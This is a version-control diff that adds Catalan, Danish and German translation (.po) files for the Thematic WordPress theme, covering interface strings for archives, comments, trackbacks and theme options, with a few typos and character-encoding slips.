+#: ../../../thematicSVN/library/extensions/hooks-filters.php:598 +msgid "Permalink to " +msgstr "Permalink de" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:512 +msgid "By " +msgstr "De " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:514 +msgid "View all posts by " +msgstr "Veure totes les entrades de " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:517 +msgid "Published: " +msgstr "Publicat: " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:552 +msgid "This entry was posted in " +msgstr "Aquesta entrada es va publicar en " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:555 +msgid "Also posted in " +msgstr "També publicat en " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:558 +msgid "Posted in " +msgstr "Publicat en " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:565 +msgid " and tagged" +msgstr "i classificat en " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:568 +msgid " Also tagged " +msgstr "També classificat en " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:570 +msgid "Tagged" +msgstr "Etiquetes" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:579 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:582 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:585 +msgid "Comment on " +msgstr "Comentar " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:580 +msgid " Comments" +msgstr " Comentaris" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:583 +msgid " Comment" +msgstr " Comentar" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:586 +msgid "Leave a comment" +msgstr "Deixeu un comentari" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:589 +msgid "Comments closed" +msgstr "Comentaris tancats" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:598 +msgid ". Bookmark the " +msgstr ". Bookmark el " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:599 +msgid "permalink" +msgstr "permalink" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:601 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:609 +msgid "Post a comment" +msgstr "Publicar un comentari" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:602 +msgid " or leave a trackback: " +msgstr " o deixar un trackback: " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:603 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:606 +msgid "Trackback URL for your post" +msgstr "URL del Trackback per la vostra entrada" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:603 +#: ../../../thematicSVN/library/extensions/hooks-filters.php:606 +msgid "Trackback URL" +msgstr "URL del Trackback" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:605 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Els comentarir estàn tancats, però podeu deixar un trackback: " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:608 +msgid " Trackbacks are closed, but you can " +msgstr " Els trackbacks estàn tancats però podeu " + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:609 +msgid "post a comment" +msgstr "publicar un comentari" + +#: ../../../thematicSVN/library/extensions/hooks-filters.php:611 +msgid " Both comments and trackbacks are currently closed." +msgstr "Tant els comentaris com els trackbacks estàn tancats." + +#: ../../../thematicSVN/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Obrir sessió" + +#: ../../../thematicSVN/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Tancar sessió" + +#: ../../../thematicSVN/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Index d'inserció" + +#: ../../../thematicSVN/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "El widget insertat en \"Index insert\" es mostrarà al redera del post amb aquest nombre." + +#: ../../../thematicSVN/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informació en la pàgina de l'autor" + +#: ../../../thematicSVN/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Mostrar una vCard amb microformat—amb el avatar de l'autor, el seu bio i el seu email, en la pàgina de l'autor." + +#: ../../../thematicSVN/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Text en el Footer (peu)" + +#: ../../../thematicSVN/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Podeu utilitzar els següents \"shortcodes\" en el text del peu: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: ../../../thematicSVN/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Powered by [wp-link]. Dissenyat sobre [theme-link]." + +#: ../../../thematicSVN/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "opcions guardats." + +#: ../../../thematicSVN/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "opcions reiniciats." + +#: ../../../thematicSVN/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "widgets reiniciats." + +#: ../../../thematicSVN/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Guardar canvis" + +#: ../../../thematicSVN/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "Reiniciar" + +#: ../../../thematicSVN/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "Reiniciar Widgets" + +#: ../../../thematicSVN/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Per a més informació sobre aquest tema, visita ThemeShaper. Podeu visitar el Forum de ThemeShaper si teniu preguntes sobre Thematic." + +#: ../../../thematicSVN/library/extensions/widgets.php:55 +#: ../../../thematicSVN/library/extensions/widgets.php:245 +#: ../../../thematicSVN/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "Enllaç RSS" + +#: ../../../thematicSVN/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Títol:" + +#~ msgid "Blog Index" +#~ msgstr "Index del bloc" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/da_DK.mo Binary file web/wp-content/themes/thematic/library/languages/da_DK.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/da_DK.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/da_DK.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,481 @@ +msgid "" +msgstr "" +"Project-Id-Version: thematic dansk\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-03-15 11:44+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Christian Loiborg \n" +"Language-Team: Christian Loiborg \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Danish\n" +"X-Poedit-Country: DENMARK\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-Basepath: dk_DA.po\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Beklager, men det var ikke muligt at finde det du ledte efter" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:15 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Søg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Daglige arkiver: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "MÃ¥nedlige arkiver: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Årlige arkiver: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "Blogarkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:57 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:42 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:17 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:49 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« Ældre indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:54 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:58 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:43 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:18 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:50 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Nyere indlæg »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:41 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:45 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Læs mere »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "Arkiv efter kategori" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "Arkiv efter mÃ¥ned" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/links.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "Redigér" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Sider:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "Forfatterarkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:34 +msgid "Email " +msgstr "E-mail" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "Kategori-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Dette indlæg er beskyttet med et password. Skriv passwordet for at se kommentarer." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +msgid "One Comment" +msgstr "Én kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d trackbacks" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Én trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +msgid "Post a Comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Skriv en kommentar til %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du skal være logget ind for at kunne kommentere." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Logget ind som %2$s. Log ud?" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Din e-mail bliver ikke offentliggjort eller delt med andre." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Obligatoriske felter er markeret med *" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Navn" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "E-mail" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Hjemmeside" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:110 +msgid "Comment" +msgstr "Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Du kan anvende disse HTML tegn og koder:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:120 +msgid "Post Comment" +msgstr "Send kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Sider:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Resultater for søgningen" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Intet fundet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Beklager, intet matchede dine søgekriterier. Prøv venligst igen med nogle andre nøgleord." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:6 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:10 +msgid "Search" +msgstr "Søg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:16 +msgid "Pages" +msgstr "Sider" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:23 +msgid "Categories" +msgstr "Kategorier" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:31 +msgid "Archives" +msgstr "Arkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:50 +msgid "RSS Feeds" +msgstr "RSS-feeds" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:390 +msgid "Posts RSS feed" +msgstr "RSS-feeds for indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +msgid "All posts" +msgstr "Alle indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:408 +msgid "Comments RSS feed" +msgstr "RSS-feeds for kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +msgid "All comments" +msgstr "Alle kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:58 +msgid "Meta" +msgstr "Meta" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/tag.php:13 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Tag-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Skrevet d. %1$s kl. %2$s | Permalink" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tDin kommentar afventer godkendelse.\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Svar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Du skal logge ind for at kunne svare." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Af %1$s d. %2$s kl. %3$s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tDin trackback afventer godkendelse.\\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Der findes intet uddrag da dette er et beskyttet indlæg." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Skip navigation, videre til indholdet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Videre til indholdet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:211 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:497 +msgid "Not Found" +msgstr "Intet fundet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:489 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:544 +msgid "Edit post" +msgstr "Redigér indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:502 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid "Permalink to " +msgstr "Permalink til" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:511 +msgid "By " +msgstr "Af" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:513 +msgid "View all posts by " +msgstr "Se alle indlæg af" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:516 +msgid "Published: " +msgstr "Udgivet:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:551 +msgid "This entry was posted in " +msgstr "Dette indlæg var udgivet i:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:554 +msgid "Also posted in " +msgstr "Også udgivet i:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:557 +msgid "Posted in " +msgstr "Udgivet i" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:564 +msgid " and tagged" +msgstr "og tagget" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:567 +msgid " Also tagged " +msgstr "Også tagget" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:569 +msgid "Tagged" +msgstr "Tagget" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:578 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:581 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:584 +msgid "Comment on " +msgstr "Kommentér" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:579 +msgid " Comments" +msgstr "Kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:582 +msgid " Comment" +msgstr "Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:585 +msgid "Leave a comment" +msgstr "Kommentér" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:588 +msgid "Comments closed" +msgstr "Der er lukket for kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid ". Bookmark the " +msgstr ". tilføj som bogmærke" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:598 +msgid "permalink" +msgstr "permalink" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:600 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "Post a comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:601 +msgid " or leave a trackback: " +msgstr "eller efterlad en trackback:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL for your post" +msgstr "Trackback link for dit indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL" +msgstr "Trackback link" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:604 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Der er lukket for kommentarer, men du kan efterlade en trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:607 +msgid " Trackbacks are closed, but you can " +msgstr "Der er lukket for trackbacks, men du kan" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "post a comment" +msgstr "skrive en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:610 +msgid " Both comments and trackbacks are currently closed." +msgstr "Der er lukket for kommentarer og trackbacks." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Log ind" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Logout" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Index Insert Position" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Det widgetbaserede Index Insert vil følge efter dette indlæg" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Information på forfatterens side" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Vis et mikroformatteret vCard—med forfatterens avatar, biografi og e-mail—på forfatterens side." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Tekst i sidefod" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Du kan anvende disse forkortede koder i sidefodens tekst: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Drevet af [wp-link]. Bygget på [theme-link]." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "indstillinger gemt" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "indstillinger nulstillet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "widgets nulstillet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Gem ændringer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "Nulstil" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "Nulstil widgets" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "For mere information om dette tema besøg da ThemeShaper. Besøg venligst ThemeShaper's forum hvis du har spørgsmål angående Thematic." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:245 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "RSS-links" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Titel:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/de_DE.mo Binary file web/wp-content/themes/thematic/library/languages/de_DE.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/de_DE.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/de_DE.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,823 @@ +# kubrick theme pot file. +# Copyright (C) 2007 WordPress +# This file is distributed under the same license as the kubrick theme package. +# +msgid "" +msgstr "" +"Project-Id-Version: Thematic\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: 2010-02-18 21:12+0100\n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: German\n" +"X-Poedit-Country: GERMANY\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "Bearbeiten" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "Seiten:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "E-Mail " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Dieser Beitrag ist passwortgeschützt. Bitte geben Sie das Passwort ein, um Kommentare lesen zu können." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Ein Trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Sie müssen angemeldet sein, um kommentieren zu können." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Angemeldet als %2$s. Abmelden?" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Ihre E-Mail wird niemals veröffentlicht oder verteilt." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Benötigte Felder sind mit * markiert" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Name" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "E-Mail" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Website" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Du kannst diese HTML Tags und Attribute verwenden:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "Seiten: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "Nichts gefunden" + +#: 